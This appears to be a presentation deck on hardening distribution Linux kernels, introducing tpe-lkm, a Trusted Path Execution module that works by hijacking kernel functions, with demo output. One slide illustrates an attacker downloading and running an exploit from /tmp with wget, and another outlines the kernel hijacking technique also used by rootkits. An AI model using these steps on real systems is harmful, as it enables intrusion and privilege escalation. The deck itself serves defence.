Distribution Kernel
Security Hardening

Because sometimes your vendor just doesn't have the security features that you want.

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In This Presentation

- Current kernel security systems
- Methods of hijacking Linux kernel functions
- A Linux security module I wrote, using function hijacking
What is Linux Missing?

- Comprehensive implementation and enforcement of non-executable memory
- ASLR
- Exploit detection and auto-response
- Basically, the stuff in grsecurity / PAX
Give Credit Where Credit is Due

Features back-ported to the RHEL kernel:

• dmesg restriction
• ptracing non-child processes
• disabling kernel modules
• mmap minimum address

• and a few others, here and there
Current Security Frameworks

- SELinux
- AppArmor
- Basically, any LSM

Why do you not use them?
Current Security Frameworks (continued)

They:

• are all exceptionally complicated
• affect the whole system in a way that's hostile to the administrator
• require constant babysitting to keep new development from falling on its face
We Want More Options!

- Trusted Path Execution
- Users can only see their own processes
- Chroot hardening
- Trusted Path Execution
- Randomized kernel symbol addresses
- I could go on all day...
Why we don't have options

• One man's security feature is another man's headache
• Some features you can't toggle on or off
• Compatibility issues with existing software
• Think of the customer support nightmare!
Methods of adding features

Several methods exist to add security features to your kernel:

• kprobes framework
• ksplice
• Hijack kernel functions with a module
Kprobes

- Works in very much the same was as kernel function hijacking
- Phrack Magazine has a great article on how to use it:
  http://www.phrack.org/issues.html?issue=67&i
Ksplice

- Novel way of inserting code changes
- Takes a compiled kernel as input
- Applies code changes, recompiles
- Diffs the object code
- Applies the binary diff in-place in the kernel
- Some links describing how to use it:
Oracle Violates the GPL

• GPL code (the linux kernel) is being modified at runtime, and not by using any of the APIs
• The code behind making the ksplice patches is no longer publicly available
• But that's a topic maybe for another presentation :)

Hijack Kernel Functions

- Locate the address of function to hijack
- Copy that function, and fix relative jumps
- Overwrite the start address with a jump code
- Run our own code
- Decide whether or not to call the original function

Hijacking not only for Bad Guys

- Historically, kernel hijacking was done by rootkits and other malware
- It's all just code – we make it either “good” or “bad”
- Why not make a security module out of this method?
Trusted Path Execution

A security feature that denies users from executing programs that are not owned by root, or are writable.

This closes the door on a whole category of exploits where a malicious user tries to execute his or her own code to attack a system.
A typical exploit

$ whoami
apache
$ cd /tmp
$ wget -q http://example.com/exploit
$ chmod 755 exploit

• Without any kind of system hardening:

$ ./exploit
Y0v h4ck3d t3h $y$t3m!!! :PPppPPPpPPPppPPpppp
# whoami
root
A typical exploit (continued)

$ whoami
apache
$ cd /tmp
$ wget -q http://example.com/exploit
$ chmod 755 exploit

• Enter TPE:

$ ./exploit
bash: ./exploit: Permission denied

OMFG teh h4ck no workie!!! Wut 2 do?!?!?!
TPE isn't in Linux

- No distribution has TPE, not even the mainline linux kernel
- You need grsecurity to get this feature
- Or do you? Let's hijack some kernel functions and find out
tpe-lkm

- tpe-lkm is a Linux kernel module implementing Trusted Path Execution
- It doesn't use any kind of ACLs
- Works out of the box with no configuration
- It hijacks kernel functions in order to work

http://elrepo.org/tiki/kmod-tpe
• Install it and test it out:

[corey@localhost ~]$ sudo rpm -ivh kmod-tpe-1.0.3-3.el6.elrepo.x86_64.rpm
1:kmod-tpe  ###########################[100%]
[corey@localhost ~]$ cp /bin/true /tmp/fubar
[corey@localhost ~]$ /tmp/fubar
bash: /tmp/fubar: Permission denied

• Now look at the resulting log:

[corey@localhost ~]$ dmesg
[tpe] Denied untrusted exec of /tmp/fubar (uid:500) by /bin/bash (uid:500), /usr/sbin/sshd (uid:500), /usr/sbin/sshd (uid:0), /sbin/init (uid:0). Deny reason: directory is writable
• Try it out in softmode:

```
[corey@localhost ~]$ sudo sysctl tpe.softmode=1
tpe.softmode = 1
[corey@localhost ~]$ /tmp/fubar
[corey@localhost ~]$ echo $? 0
```

• Now look at the resulting log:

```
[corey@localhost ~]$ dmesg
[tpe] Would deny untrusted exec of /tmp/fubar (uid:500) by /bin/bash (uid:500), /usr/sbin/sshd (uid:500), /usr/sbin/sshd (uid:0), /sbin/init (uid:0). Deny reason: directory is writable
```
• stop users from viewing kernel modules

[corey@localhost ~]$ cat /proc/modules
cat: /proc/modules: Operation not permitted

• stop them from viewing /proc/kallsyms

[corey@localhost ~]$ cat /proc/kallsyms
cat: /proc/kallsyms: Operation not permitted

• stop users from viewing other processes

[corey@localhost ~]$ ps auxf

USER       PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
corey     19395  0.0  0.7  11424  1780 pts/1    S   13:43  0:00 -bash
corey     19420  0.0  0.4  13352   988 pts/1    R+  13:44  0:00 \_ ps auxf
Get Involved

• Code on GitHub: https://github.com/cormander/tpe-lkm

• Or email me directly: corman@cormander.com
Questions?